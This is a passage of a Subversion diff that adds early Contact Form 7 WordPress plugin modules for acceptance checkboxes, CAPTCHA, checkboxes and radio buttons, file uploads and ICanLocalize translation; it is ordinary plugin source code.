+	$default_on = (bool) preg_grep( '/^default:on$/i', $options );
+
+	if ( WPCF7_LOAD_JS )
+		$onclick = ' onclick="wpcf7ToggleSubmit(this.form);"';
+
+	$checked = $default_on ? ' checked="checked"' : '';
+
+	$html = '<input type="checkbox" name="' . $name . '" value="1"' . $atts . $onclick . $checked . ' />';
+
+	return $html;
+}
+
+wpcf7_add_shortcode( 'acceptance', 'wpcf7_acceptance_shortcode_handler', true );
+
+
+/* Acceptance filter */
+
+function wpcf7_acceptance_filter( $accepted ) {
+	global $wpcf7_contact_form;
+
+	$fes = $wpcf7_contact_form->form_scan_shortcode( array( 'type' => 'acceptance' ) );
+
+	foreach ( $fes as $fe ) {
+		$name = $fe['name'];
+		$options = (array) $fe['options'];
+
+		if ( empty( $name ) )
+			continue;
+
+		$value = $_POST[$name] ? 1 : 0;
+
+		$invert = (bool) preg_grep( '%^invert$%', $options );
+
+		if ( $invert && $value || ! $invert && ! $value )
+			$accepted = false;
+	}
+
+	return $accepted;
+}
+
+add_filter( 'wpcf7_acceptance', 'wpcf7_acceptance_filter' );
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/captcha.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/captcha.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/captcha.php	(revision 44)
@@ -0,0 +1,345 @@
+<?php
+/**
+** A base module for [captchac] and [captchar]
+**/
+
+/* Shortcode handler */
+
+function wpcf7_captcha_shortcode_handler( $tag ) {
+	global $wpcf7_contact_form;
+
+	if ( ! is_array( $tag ) )
+		return '';
+
+	$type = $tag['type'];
+	$name = $tag['name'];
+	$options = (array) $tag['options'];
+	$values = (array) $tag['values'];
+
+	if ( empty( $name ) )
+		return '';
+
+	$validation_error = '';
+	if ( is_a( $wpcf7_contact_form, 'WPCF7_ContactForm' ) )
+		$validation_error = $wpcf7_contact_form->validation_error( $name );
+
+	$atts = '';
+	$id_att = '';
+	$class_att = '';
+	$size_att = '';
+	$maxlength_att = '';
+
+	if ( 'captchac' == $type )
+		$class_att .= ' wpcf7-captcha-' . $name;
+
+	foreach ( $options as $option ) {
+		if ( preg_match( '%^id:([-0-9a-zA-Z_]+)$%', $option, $matches ) ) {
+			$id_att = $matches[1];
+
+		} elseif ( preg_match( '%^class:([-0-9a-zA-Z_]+)$%', $option, $matches ) ) {
+			$class_att .= ' ' . $matches[1];
+
+		} elseif ( preg_match( '%^([0-9]*)[/x]([0-9]*)$%', $option, $matches ) ) {
+			$size_att = (int) $matches[1];
+			$maxlength_att = (int) $matches[2];
+		}
+	}
+
+	if ( $id_att )
+		$atts .= ' id="' . trim( $id_att ) . '"';
+
+	if ( $class_att )
+		$atts .= ' class="' . trim( $class_att ) . '"';
+
+	// Value.
+	if ( is_a( $wpcf7_contact_form, 'WPCF7_ContactForm' ) && $wpcf7_contact_form->is_posted() )
+		$value = '';
+	else
+		$value = $values[0];
+
+	if ( 'captchac' == $type ) {
+		if ( ! class_exists( 'ReallySimpleCaptcha' ) ) {
+			return '<em>' . __( 'To use CAPTCHA, you need <a href="http://wordpress.org/extend/plugins/really-simple-captcha/">Really Simple CAPTCHA</a> plugin installed.', 'wpcf7' ) . '</em>';
+		}
+
+		$op = array();
+		// Default
+		$op['img_size'] = array( 72, 24 );
+		$op['base'] = array( 6, 18 );
+		$op['font_size'] = 14;
+		$op['font_char_width'] = 15;
+
+		$op = array_merge( $op, wpcf7_captchac_options( $options ) );
+
+		if ( ! $filename = wpcf7_generate_captcha( $op ) )
+			return '';
+
+		if ( is_array( $op['img_size'] ) )
+			$atts .= ' width="' . $op['img_size'][0] . '" height="' . $op['img_size'][1] . '"';
+
+		$captcha_url = trailingslashit( wpcf7_captcha_tmp_url() ) . $filename;
+		$html = '<img alt="captcha" src="' . $captcha_url . '"' . $atts . ' />';
+		$ref = substr( $filename, 0, strrpos( $filename, '.' ) );
+		$html = '<input type="hidden" name="_wpcf7_captcha_challenge_' . $name . '" value="' . $ref . '" />' . $html;
+
+		return $html;
+
+	} elseif ( 'captchar' == $type ) {
+		if ( $size_att )
+			$atts .= ' size="' . $size_att . '"';
+		else
+			$atts .= ' size="40"'; // default size
+
+		if ( $maxlength_att )
+			$atts .= ' maxlength="' . $maxlength_att . '"';
+
+		$html = '<input type="text" name="' . $name . '" value="' . esc_attr( $value ) . '"' . $atts . ' />';
+		$html = '<span class="wpcf7-form-control-wrap ' . $name . '">' . $html . $validation_error . '</span>';
+
+		return $html;
+	}
+}
+
+wpcf7_add_shortcode( 'captchac', 'wpcf7_captcha_shortcode_handler', true );
+wpcf7_add_shortcode( 'captchar', 'wpcf7_captcha_shortcode_handler', true );
+
+
+/* Validation filter */
+
+function wpcf7_captcha_validation_filter( $result, $tag ) {
+	global $wpcf7_contact_form;
+
+	$type = $tag['type'];
+	$name = $tag['name'];
+
+	$_POST[$name] = (string) $_POST[$name];
+
+	$captchac = '_wpcf7_captcha_challenge_' . $name;
+
+	if ( ! wpcf7_check_captcha( $_POST[$captchac], $_POST[$name] ) ) {
+		$result['valid'] = false;
+		$result['reason'][$name] = $wpcf7_contact_form->message( 'captcha_not_match' );
+	}
+
+	wpcf7_remove_captcha( $_POST[$captchac] );
+
+	return $result;
+}
+
+add_filter( 'wpcf7_validate_captchar', 'wpcf7_captcha_validation_filter', 10, 2 );
+
+
+/* Ajax echo filter */
+
+function wpcf7_captcha_ajax_echo_filter( $items ) {
+	global $wpcf7_contact_form;
+
+	if ( ! is_a( $wpcf7_contact_form, 'WPCF7_ContactForm' ) )
+		return $items;
+
+	if ( ! is_array( $items ) )
+		return $items;
+
+	$fes = $wpcf7_contact_form->form_scan_shortcode(
+		array( 'type' => 'captchac' ) );
+
+	if ( empty( $fes ) )
+		return $items;
+
+	$refill = array();
+
+	foreach ( $fes as $fe ) {
+		$name = $fe['name'];
+		$options = $fe['options'];
+
+		if ( empty( $name ) )
+			continue;
+
+		$op = wpcf7_captchac_options( $options );
+		if ( $filename = wpcf7_generate_captcha( $op ) ) {
+			$captcha_url = trailingslashit( wpcf7_captcha_tmp_url() ) . $filename;
+			$refill[$name] = $captcha_url;
+		}
+	}
+
+	if ( ! empty( $refill ) )
+		$items['captcha'] = $refill;
+
+	return $items;
+}
+
+add_filter( 'wpcf7_ajax_json_echo', 'wpcf7_captcha_ajax_echo_filter' );
+
+
+/* CAPTCHA functions */
+
+function wpcf7_init_captcha() {
+	global $wpcf7_captcha;
+
+	if ( ! class_exists( 'ReallySimpleCaptcha' ) )
+		return false;
+
+	if ( ! is_object( $wpcf7_captcha ) )
+		$wpcf7_captcha = new ReallySimpleCaptcha();
+	$captcha =& $wpcf7_captcha;
+
+	$captcha->tmp_dir = trailingslashit( wpcf7_captcha_tmp_dir() );
+	wp_mkdir_p( $captcha->tmp_dir );
+	return true;
+}
+
+function wpcf7_generate_captcha( $options = null ) {
+	global $wpcf7_captcha;
+
+	if ( ! wpcf7_init_captcha() )
+		return false;
+	$captcha =& $wpcf7_captcha;
+
+	if ( ! is_dir( $captcha->tmp_dir ) || ! is_writable( $captcha->tmp_dir ) )
+		return false;
+
+	$img_type = imagetypes();
+	if ( $img_type & IMG_PNG )
+		$captcha->img_type = 'png';
+	elseif ( $img_type & IMG_GIF )
+		$captcha->img_type = 'gif';
+	elseif ( $img_type & IMG_JPG )
+		$captcha->img_type = 'jpeg';
+	else
+		return false;
+
+	if ( is_array( $options ) ) {
+		if ( isset( $options['img_size'] ) )
+			$captcha->img_size = $options['img_size'];
+		if ( isset( $options['base'] ) )
+			$captcha->base = $options['base'];
+		if ( isset( $options['font_size'] ) )
+			$captcha->font_size = $options['font_size'];
+		if ( isset( $options['font_char_width'] ) )
+			$captcha->font_char_width = $options['font_char_width'];
+		if ( isset( $options['fg'] ) )
+			$captcha->fg = $options['fg'];
+		if ( isset( $options['bg'] ) )
+			$captcha->bg = $options['bg'];
+	}
+
+	$prefix = mt_rand();
+	$captcha_word = $captcha->generate_random_word();
+	return $captcha->generate_image( $prefix, $captcha_word );
+}
+
+function wpcf7_check_captcha( $prefix, $response ) {
+	global $wpcf7_captcha;
+
+	if ( ! wpcf7_init_captcha() )
+		return false;
+	$captcha =& $wpcf7_captcha;
+
+	return $captcha->check( $prefix, $response );
+}
+
+function wpcf7_remove_captcha( $prefix ) {
+	global $wpcf7_captcha;
+
+	if ( ! wpcf7_init_captcha() )
+		return false;
+	$captcha =& $wpcf7_captcha;
+
+	$captcha->remove( $prefix );
+}
+
+function wpcf7_cleanup_captcha_files() {
+	$dir = trailingslashit( wpcf7_captcha_tmp_dir() );
+
+	if ( ! is_dir( $dir ) )
+		return false;
+	if ( ! is_readable( $dir ) )
+		return false;
+	if ( ! is_writable( $dir ) )
+		return false;
+
+	if ( $handle = @opendir( $dir ) ) {
+		while ( false !== ( $file = readdir( $handle ) ) ) {
+			if ( ! preg_match( '/^[0-9]+\.(php|png|gif|jpeg)$/', $file ) )
+				continue;
+
+			$stat = stat( $dir . $file );
+			if ( $stat['mtime'] + 21600 < time() ) // 21600 secs == 6 hours
+				@unlink( $dir . $file );
+		}
+		closedir( $handle );
+	}
+}
+
+if ( ! is_admin() && 'GET' == $_SERVER['REQUEST_METHOD'] )
+	wpcf7_cleanup_captcha_files();
+
+function wpcf7_captchac_options( $options ) {
+	if ( ! is_array( $options ) )
+		return array();
+
+	$op = array();
+	$image_size_array = preg_grep( '%^size:[smlSML]$%', $options );
+
+	if ( $image_size = array_shift( $image_size_array ) ) {
+		preg_match( '%^size:([smlSML])$%', $image_size, $is_matches );
+		switch ( strtolower( $is_matches[1] ) ) {
+			case 's':
+				$op['img_size'] = array( 60, 20 );
+				$op['base'] = array( 6, 15 );
+				$op['font_size'] = 11;
+				$op['font_char_width'] = 13;
+				break;
+			case 'l':
+				$op['img_size'] = array( 84, 28 );
+				$op['base'] = array( 6, 20 );
+				$op['font_size'] = 17;
+				$op['font_char_width'] = 19;
+				break;
+			case 'm':
+			default:
+				$op['img_size'] = array( 72, 24 );
+				$op['base'] = array( 6, 18 );
+				$op['font_size'] = 14;
+				$op['font_char_width'] = 15;
+		}
+	}
+
+	$fg_color_array = preg_grep( '%^fg:#([0-9a-fA-F]{3}|[0-9a-fA-F]{6})$%', $options );
+	if ( $fg_color = array_shift( $fg_color_array ) ) {
+		preg_match( '%^fg:#([0-9a-fA-F]{3}|[0-9a-fA-F]{6})$%', $fg_color, $fc_matches );
+		if ( 3 == strlen( $fc_matches[1] ) ) {
+			$r = substr( $fc_matches[1], 0, 1 );
+			$g = substr( $fc_matches[1], 1, 1 );
+			$b = substr( $fc_matches[1], 2, 1 );
+			$op['fg'] = array( hexdec( $r . $r ), hexdec( $g . $g ), hexdec( $b . $b ) );
+		} elseif ( 6 == strlen( $fc_matches[1] ) ) {
+			$r = substr( $fc_matches[1], 0, 2 );
+			$g = substr( $fc_matches[1], 2, 2 );
+			$b = substr( $fc_matches[1], 4, 2 );
+			$op['fg'] = array( hexdec( $r ), hexdec( $g ), hexdec( $b ) );
+		}
+	}
+
+	$bg_color_array = preg_grep( '%^bg:#([0-9a-fA-F]{3}|[0-9a-fA-F]{6})$%', $options );
+	if ( $bg_color = array_shift( $bg_color_array ) ) {
+		preg_match( '%^bg:#([0-9a-fA-F]{3}|[0-9a-fA-F]{6})$%', $bg_color, $bc_matches );
+		if ( 3 == strlen( $bc_matches[1] ) ) {
+			$r = substr( $bc_matches[1], 0, 1 );
+			$g = substr( $bc_matches[1], 1, 1 );
+			$b = substr( $bc_matches[1], 2, 1 );
+			$op['bg'] = array( hexdec( $r . $r ), hexdec( $g . $g ), hexdec( $b . $b ) );
+		} elseif ( 6 == strlen( $bc_matches[1] ) ) {
+			$r = substr( $bc_matches[1], 0, 2 );
+			$g = substr( $bc_matches[1], 2, 2 );
+			$b = substr( $bc_matches[1], 4, 2 );
+			$op['bg'] = array( hexdec( $r ), hexdec( $g ), hexdec( $b ) );
+		}
+	}
+
+	return $op;
+}
+
+$wpcf7_captcha = null;
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/checkbox.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/checkbox.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/checkbox.php	(revision 44)
@@ -0,0 +1,162 @@
+<?php
+/**
+** A base module for [checkbox], [checkbox*], and [radio]
+**/
+
+/* Shortcode handler */
+
+function wpcf7_checkbox_shortcode_handler( $tag ) {
+	global $wpcf7_contact_form;
+
+	if ( ! is_array( $tag ) )
+		return '';
+
+	$type = $tag['type'];
+	$name = $tag['name'];
+	$options = (array) $tag['options'];
+	$values = (array) $tag['values'];
+
+	if ( empty( $name ) )
+		return '';
+
+	$atts = '';
+	$id_att = '';
+	$class_att = '';
+
+	$defaults = array();
+
+	$label_first = false;
+	$use_label_element = false;
+
+	if ( 'checkbox*' == $type )
+		$class_att .= ' wpcf7-validates-as-required';
+
+	if ( 'checkbox' == $type || 'checkbox*' == $type )
+		$class_att .= ' wpcf7-checkbox';
+
+	if ( 'radio' == $type )
+		$class_att .= ' wpcf7-radio';
+
+	foreach ( $options as $option ) {
+		if ( preg_match( '%^id:([-0-9a-zA-Z_]+)$%', $option, $matches ) ) {
+			$id_att = $matches[1];
+
+		} elseif ( preg_match( '%^class:([-0-9a-zA-Z_]+)$%', $option, $matches ) ) {
+			$class_att .= ' ' . $matches[1];
+
+		} elseif ( preg_match( '/^default:([0-9_]+)$/', $option, $matches ) ) {
+			$defaults = explode( '_', $matches[1] );
+
+		} elseif ( preg_match( '%^label[_-]?first$%', $option ) ) {
+			$label_first = true;
+
+		} elseif ( preg_match( '%^use[_-]?label[_-]?element$%', $option ) ) {
+			$use_label_element = true;
+
+		}
+	}
+
+	if ( $id_att )
+		$atts .= ' id="' . trim( $id_att ) . '"';
+
+	if ( $class_att )
+		$atts .= ' class="' . trim( $class_att ) . '"';
+
+	$multiple = preg_match( '/^checkbox[*]?$/', $type ) && ! preg_grep( '%^exclusive$%', $options );
+
+	$html = '';
+
+	if ( preg_match( '/^checkbox[*]?$/', $type ) && ! $multiple && WPCF7_LOAD_JS )
+		$onclick = ' onclick="wpcf7ExclusiveCheckbox(this);"';
+
+	$input_type = rtrim( $type, '*' );
+
+	$posted = is_a( $wpcf7_contact_form, 'WPCF7_ContactForm' ) && $wpcf7_contact_form->is_posted();
+
+	foreach ( $values as $key => $value ) {
+		$checked = false;
+
+		if ( in_array( $key + 1, (array) $defaults ) )
+			$checked = true;
+
+		if ( $posted) {
+			if ( $multiple && in_array( esc_sql( $value ), (array) $_POST[$name] ) )
+				$checked = true;
+			if ( ! $multiple && $_POST[$name] == esc_sql( $value ) )
+				$checked = true;
+		}
+
+		$checked = $checked ? ' checked="checked"' : '';
+
+		if ( is_array( $tag['labels'] ) && isset( $tag['labels'][$key] ) )
+			$label = $tag['labels'][$key];
+		else
+			$label = $value;
+
+		if ( $label_first ) { // put label first, input last
+			$item = '<span class="wpcf7-list-item-label">' . esc_html( $label ) . '</span>&nbsp;';
+			$item .= '<input type="' . $input_type . '" name="' . $name . ( $multiple ? '[]' : '' ) . '" value="' . esc_attr( $value ) . '"' . $checked . $onclick . ' />';
+		} else {
+			$item = '<input type="' . $input_type . '" name="' . $name . ( $multiple ? '[]' : '' ) . '" value="' . esc_attr( $value ) . '"' . $checked . $onclick . ' />';
+			$item .= '&nbsp;<span class="wpcf7-list-item-label">' . esc_html( $label ) . '</span>';
+		}
+
+		if ( $use_label_element )
+			$item = '<label>' . $item . '</label>';
+
+		$item = '<span class="wpcf7-list-item">' . $item . '</span>';
+		$html .= $item;
+	}
+
+	$html = '<span' . $atts . '>' . $html . '</span>';
+
+	$validation_error = '';
+	if ( is_a( $wpcf7_contact_form, 'WPCF7_ContactForm' ) )
+		$validation_error = $wpcf7_contact_form->validation_error( $name );
+
+	$html = '<span class="wpcf7-form-control-wrap ' . $name . '">' . $html . $validation_error . '</span>';
+
+	return $html;
+}
+
+wpcf7_add_shortcode( 'checkbox', 'wpcf7_checkbox_shortcode_handler', true );
+wpcf7_add_shortcode( 'checkbox*', 'wpcf7_checkbox_shortcode_handler', true );
+wpcf7_add_shortcode( 'radio', 'wpcf7_checkbox_shortcode_handler', true );
+
+
+/* Validation filter */
+
+function wpcf7_checkbox_validation_filter( $result, $tag ) {
+	global $wpcf7_contact_form;
+
+	$type = $tag['type'];
+	$name = $tag['name'];
+	$values = $tag['values'];
+
+	if ( is_array( $_POST[$name] ) ) {
+		foreach ( $_POST[$name] as $key => $value ) {
+			$value = stripslashes( $value );
+			if ( ! in_array( $value, (array) $values ) ) // Not in given choices.
+				unset( $_POST[$name][$key] );
+		}
+	} else {
+		$value = stripslashes( $_POST[$name] );
+		if ( ! in_array( $value, (array) $values ) ) //  Not in given choices.
+			$_POST[$name] = '';
+	}
+
+	if ( 'checkbox*' == $type ) {
+		if ( empty( $_POST[$name] ) ) {
+			$result['valid'] = false;
+			$result['reason'][$name] = $wpcf7_contact_form->message( 'invalid_required' );
+		}
+	}
+
+	return $result;
+}
+
+add_filter( 'wpcf7_validate_checkbox', 'wpcf7_checkbox_validation_filter', 10, 2 );
+add_filter( 'wpcf7_validate_checkbox*', 'wpcf7_checkbox_validation_filter', 10, 2 );
+add_filter( 'wpcf7_validate_radio', 'wpcf7_checkbox_validation_filter', 10, 2 );
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/file.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/file.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/file.php	(revision 44)
@@ -0,0 +1,223 @@
+<?php
+/**
+** A base module for [file] and [file*]
+**/
+
+function wpcf7_file_shortcode_handler( $tag ) {
+	global $wpcf7_contact_form;
+
+	if ( ! is_array( $tag ) )
+		return '';
+
+	$type = $tag['type'];
+	$name = $tag['name'];
+	$options = (array) $tag['options'];
+	$values = (array) $tag['values'];
+
+	if ( empty( $name ) )
+		return '';
+
+	$atts = '';
+	$id_att = '';
+	$class_att = '';
+
+	if ( 'file*' == $type )
+		$class_att .= ' wpcf7-validates-as-required';
+
+	foreach ( $options as $option ) {
+		if ( preg_match( '%^id:([-0-9a-zA-Z_]+)$%', $option, $matches ) ) {
+			$id_att = $matches[1];
+
+		} elseif ( preg_match( '%^class:([-0-9a-zA-Z_]+)$%', $option, $matches ) ) {
+			$class_att .= ' ' . $matches[1];
+
+		}
+	}
+
+	if ( $id_att )
+		$atts .= ' id="' . trim( $id_att ) . '"';
+
+	if ( $class_att )
+		$atts .= ' class="' . trim( $class_att ) . '"';
+
+	$html = '<input type="file" name="' . $name . '"' . $atts . ' value="1" />';
+
+	$validation_error = '';
+	if ( is_a( $wpcf7_contact_form, 'WPCF7_ContactForm' ) )
+		$validation_error = $wpcf7_contact_form->validation_error( $name );
+
+	$html = '<span class="wpcf7-form-control-wrap ' . $name . '">' . $html . $validation_error . '</span>';
+
+	return $html;
+}
+
+wpcf7_add_shortcode( 'file', 'wpcf7_file_shortcode_handler', true );
+wpcf7_add_shortcode( 'file*', 'wpcf7_file_shortcode_handler', true );
+
+
+/* Encode type filter */
+
+function wpcf7_file_form_enctype_filter( $enctype ) {
+	global $wpcf7_contact_form;
+
+	$multipart = (bool) $wpcf7_contact_form->form_scan_shortcode(
+		array( 'type' => array( 'file', 'file*' ) ) );
+
+	if ( $multipart )
+		$enctype = ' enctype="multipart/form-data"';
+
+	return $enctype;
+}
+
+add_filter( 'wpcf7_form_enctype', 'wpcf7_file_form_enctype_filter' );
+
+
+/* Validation + upload handling filter */
+
+function wpcf7_file_validation_filter( $result, $tag ) {
+	global $wpcf7_contact_form;
+
+	$type = $tag['type'];
+	$name = $tag['name'];
+	$options = (array) $tag['options'];
+
+	$file = $_FILES[$name];
+
+	if ( $file['error'] ) {
+		$result['valid'] = false;
+		$result['reason'][$name] = $wpcf7_contact_form->message( 'upload_failed_php_error' );
+		return $result;
+	}
+
+	if ( empty( $file['tmp_name'] ) && 'file*' == $type ) {
+		$result['valid'] = false;
+		$result['reason'][$name] = $wpcf7_contact_form->message( 'invalid_required' );
+		return $result;
+	}
+
+	if ( ! is_uploaded_file( $file['tmp_name'] ) )
+		return $result;
+
+	$file_type_pattern = '';
+	$allowed_size = 1048576; // default size 1 MB
+
+	foreach ( $options as $option ) {
+		if ( preg_match( '%^filetypes:(.+)$%', $option, $matches ) ) {
+			$file_types = explode( '|', $matches[1] );
+			foreach ( $file_types as $file_type ) {
+				$file_type = trim( $file_type, '.' );
+				$file_type = str_replace(
+					array( '.', '+', '*', '?' ), array( '\.', '\+', '\*', '\?' ), $file_type );
+				$file_type_pattern .= '|' . $file_type;
+			}
+
+		} elseif ( preg_match( '/^limit:([1-9][0-9]*)([kKmM]?[bB])?$/', $option, $matches ) ) {
+			$allowed_size = (int) $matches[1];
+
+			$kbmb = strtolower( $matches[2] );
+			if ( 'kb' == $kbmb ) {
+				$allowed_size *= 1024;
+			} elseif ( 'mb' == $kbmb ) {
+				$allowed_size *= 1024 * 1024;
+			}
+
+		}
+	}
+
+	/* File type validation */
+
+	// Default file-type restriction
+	if ( '' == $file_type_pattern )
+		$file_type_pattern = 'jpg|jpeg|png|gif|pdf|doc|docx|ppt|pptx|odt|avi|ogg|m4a|mov|mp3|mp4|mpg|wav|wmv';
+
+	$file_type_pattern = trim( $file_type_pattern, '|' );
+	$file_type_pattern = '(' . $file_type_pattern . ')';
+	$file_type_pattern = '/\.' . $file_type_pattern . '$/i';
+
+	if ( ! preg_match( $file_type_pattern, $file['name'] ) ) {
+		$result['valid'] = false;
+		$result['reason'][$name] = $wpcf7_contact_form->message( 'upload_file_type_invalid' );
+		return $result;
+	}
+
+	/* File size validation */
+
+	if ( $file['size'] > $allowed_size ) {
+		$result['valid'] = false;
+		$result['reason'][$name] = $wpcf7_contact_form->message( 'upload_file_too_large' );
+		return $result;
+	}
+
+	$uploads_dir = wpcf7_upload_tmp_dir();
+	wpcf7_init_uploads(); // Confirm upload dir
+
+	$filename = wp_unique_filename( $uploads_dir, $file['name'] );
+
+	// If you get script file, it's a danger. Make it TXT file.
+	if ( preg_match( '/\.(php|pl|py|rb|cgi)\d?$/', $filename ) )
+		$filename .= '.txt';
+
+	$new_file = trailingslashit( $uploads_dir ) . $filename;
+
+	if ( false === @move_uploaded_file( $file['tmp_name'], $new_file ) ) {
+		$result['valid'] = false;
+		$result['reason'][$name] = $wpcf7_contact_form->message( 'upload_failed' );
+		return $result;
+	}
+
+	// Make sure the uploaded file is only readable for the owner process
+	@chmod( $new_file, 0400 );
+
+	$wpcf7_contact_form->uploaded_files[$name] = $new_file;
+
+	return $result;
+}
+
+add_filter( 'wpcf7_validate_file', 'wpcf7_file_validation_filter', 10, 2 );
+add_filter( 'wpcf7_validate_file*', 'wpcf7_file_validation_filter', 10, 2 );
+
+
+/* File uploading functions */
+
+function wpcf7_init_uploads() {
+	$dir = wpcf7_upload_tmp_dir();
+	wp_mkdir_p( trailingslashit( $dir ) );
+	@chmod( $dir, 0733 );
+
+	$htaccess_file = trailingslashit( $dir ) . '.htaccess';
+	if ( file_exists( $htaccess_file ) )
+		return;
+
+	if ( $handle = @fopen( $htaccess_file, 'w' ) ) {
+		fwrite( $handle, "Deny from all\n" );
+		fclose( $handle );
+	}
+}
+
+function wpcf7_cleanup_upload_files() {
+	$dir = trailingslashit( wpcf7_upload_tmp_dir() );
+
+	if ( ! is_dir( $dir ) )
+		return false;
+	if ( ! is_readable( $dir ) )
+		return false;
+	if ( ! is_writable( $dir ) )
+		return false;
+
+	if ( $handle = @opendir( $dir ) ) {
+		while ( false !== ( $file = readdir( $handle ) ) ) {
+			if ( $file == "." || $file == ".." || $file == ".htaccess" )
+				continue;
+
+			$stat = stat( $dir . $file );
+			if ( $stat['mtime'] + 60 < time() ) // 60 secs
+				@unlink( $dir . $file );
+		}
+		closedir( $handle );
+	}
+}
+
+if ( ! is_admin() && 'GET' == $_SERVER['REQUEST_METHOD'] )
+	wpcf7_cleanup_upload_files();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/icl.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/icl.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/icl.php	(revision 44)
@@ -0,0 +1,217 @@
+<?php
+/**
+** ICL module for ICanLocalize translation service
+**/
+
+/* Shortcode handler */
+
+function icl_wpcf7_shortcode_handler( $tag ) {
+
+	if ( ! is_array( $tag ) )
+		return '';
+
+	$name = $tag['name'];
+	$values = (array) $tag['values'];
+	$content = $tag['content'];
+
+	$content = trim( $content );
+	if ( ! empty( $content ) ) {
+		$string_name = icl_wpcf7_string_name( $content, $name );
+		return icl_wpcf7_translate( $string_name, $content );
+	}
+
+	$value = trim( $values[0] );
+	if ( ! empty( $value ) ) {
+		$string_name = icl_wpcf7_string_name( $value, $name, 0 );
+		return icl_wpcf7_translate( $string_name, $value );
+	}
+
+	return '';
+}
+
+wpcf7_add_shortcode( 'icl', 'icl_wpcf7_shortcode_handler', true );
+
+
+/* Form tag filter */
+
+function icl_wpcf7_form_tag_filter( $tag ) {
+	if ( ! is_array( $tag ) )
+		return $tag;
+
+	$type = $tag['type'];
+	$name = $tag['name'];
+	$options = (array) $tag['options'];
+	$values = (array) $tag['values'];
+	$content = $tag['content'];
+
+	$icl_option = array();
+	foreach ( $options as $option ) {
+		if ( 'icl' == $option ) {
+			$icl_option = array( 'icl', null );
+			break;
+		} elseif ( preg_match( '/^icl:(.+)$/', $option, $matches ) ) {
+			$icl_option = array( 'icl', $matches[1] );
+			break;
+		}
+	}
+
+	if ( ! ('icl' == $type || $icl_option ) )
+		return $tag;
+
+	$str_id = $icl_option[1] ? $icl_option[1] : $name;
+
+	if ( ! empty( $values ) ) {
+		$new_values = array();
+		foreach ( $values as $key => $value ) {
+			$string_name = icl_wpcf7_string_name( $value, $str_id, $key );
+			$new_values[$key] = icl_wpcf7_translate( $string_name, $value );
+		}
+
+		if ( preg_match( '/^(?:text|email|textarea|captchar|submit)[*]?$/', $type ) )
+			$tag['values'] = $new_values;
+		else
+			$tag['labels'] = $new_values;
+	}
+
+	$content = trim( $content );
+
+	if ( ! empty( $content ) ) {
+		$string_name = icl_wpcf7_string_name( $content, $str_id );
+		$content = icl_wpcf7_translate( $string_name, $content );
+		$tag['content'] = $content;
+	}
+
+	return $tag;
+}
+
+add_filter( 'wpcf7_form_tag', 'icl_wpcf7_form_tag_filter' );
+
+
+/* Message dispaly filter */
+
+function icl_wpcf7_display_message_filter( $message ) {
+	$shortcode_manager = new WPCF7_ShortcodeManager();
+	$shortcode_manager->add_shortcode( 'icl', 'icl_wpcf7_shortcode_handler', true );
+
+	return $shortcode_manager->do_shortcode( $message );
+}
+
+add_filter( 'wpcf7_display_message', 'icl_wpcf7_display_message_filter' );
+
+
+/* Collecting strings hook after saving */
+
+function icl_wpcf7_collect_strings( &$contact_form ) {
+	$scanned = $contact_form->form_scan_shortcode();
+
+	foreach ( $scanned as $tag ) {
+		if ( ! is_array( $tag ) )
+			continue;
+
+		$type = $tag['type'];
+		$name = $tag['name'];
+		$options = (array) $tag['options'];
+		$values = (array) $tag['values'];
+		$content = $tag['content'];
+
+		$icl_option = array();
+		foreach ( $options as $option ) {
+			if ( 'icl' == $option ) {
+				$icl_option = array( 'icl', null );
+				break;
+			} elseif ( preg_match( '/^icl:(.+)$/', $option, $matches ) ) {
+				$icl_option = array( 'icl', $matches[1] );
+				break;
+			}
+		}
+
+		if ( ! ('icl' == $type || $icl_option ) )
+			continue;
+
+		$str_id = $icl_option[1] ? $icl_option[1] : $name;
+
+		if ( ! empty( $content ) ) {
+			$string_name = icl_wpcf7_string_name( $content, $str_id );
+			icl_wpcf7_register_string( $string_name, $content );
+
+		} elseif ( ! empty( $values ) ) {
+			foreach ( $values as $key => $value ) {
+				$value = trim( $value );
+				$string_name = icl_wpcf7_string_name( $value, $str_id, $key );
+				icl_wpcf7_register_string( $string_name, $value );
+			}
+		}
+	}
+
+	/* From messages */
+
+	$messages = (array) $contact_form->messages;
+
+	$shortcode_manager = new WPCF7_ShortcodeManager();
+	$shortcode_manager->add_shortcode( 'icl', create_function( '$tag', 'return null;' ), true );
+
+	foreach ( $messages as $message ) {
+		$tags = $shortcode_manager->scan_shortcode( $message );
+		foreach ( $tags as $tag ) {
+			$name = $tag['name'];
+			$values = (array) $tag['values'];
+			$content = trim( $tag['content'] );
+
+			if ( ! empty( $content ) ) {
+				$string_name = icl_wpcf7_string_name( $content, $name );
+				icl_wpcf7_register_string( $string_name, $content );
+
+			} else {
+				foreach ( $values as $key => $value ) {
+					$value = trim( $value );
+					$string_name = icl_wpcf7_string_name( $value, $name, $key );
+					icl_wpcf7_register_string( $string_name, $value );
+				}
+			}
+		}
+	}
+}
+
+add_action( 'wpcf7_after_save', 'icl_wpcf7_collect_strings' );
+
+
+/* Functions */
+
+function icl_wpcf7_string_name( $value, $name = '', $key = '' ) {
+	if ( ! empty( $name ) ) {
+		$string_name = '@' . $name;
+		if ( '' !== $key )
+			$string_name .= ' ' . $key;
+	} else {
+		$string_name = '#' . md5( $value );
+	}
+
+	return $string_name;
+}
+
+function icl_wpcf7_register_string( $name, $value ) {
+	if ( ! function_exists( 'icl_register_string' ) )
+		return false;
+
+	$context = 'Contact Form 7';
+
+	$value = trim( $value );
+	if ( empty( $value ) )
+		return false;
+
+	icl_register_string( $context, $name, $value );
+}
+
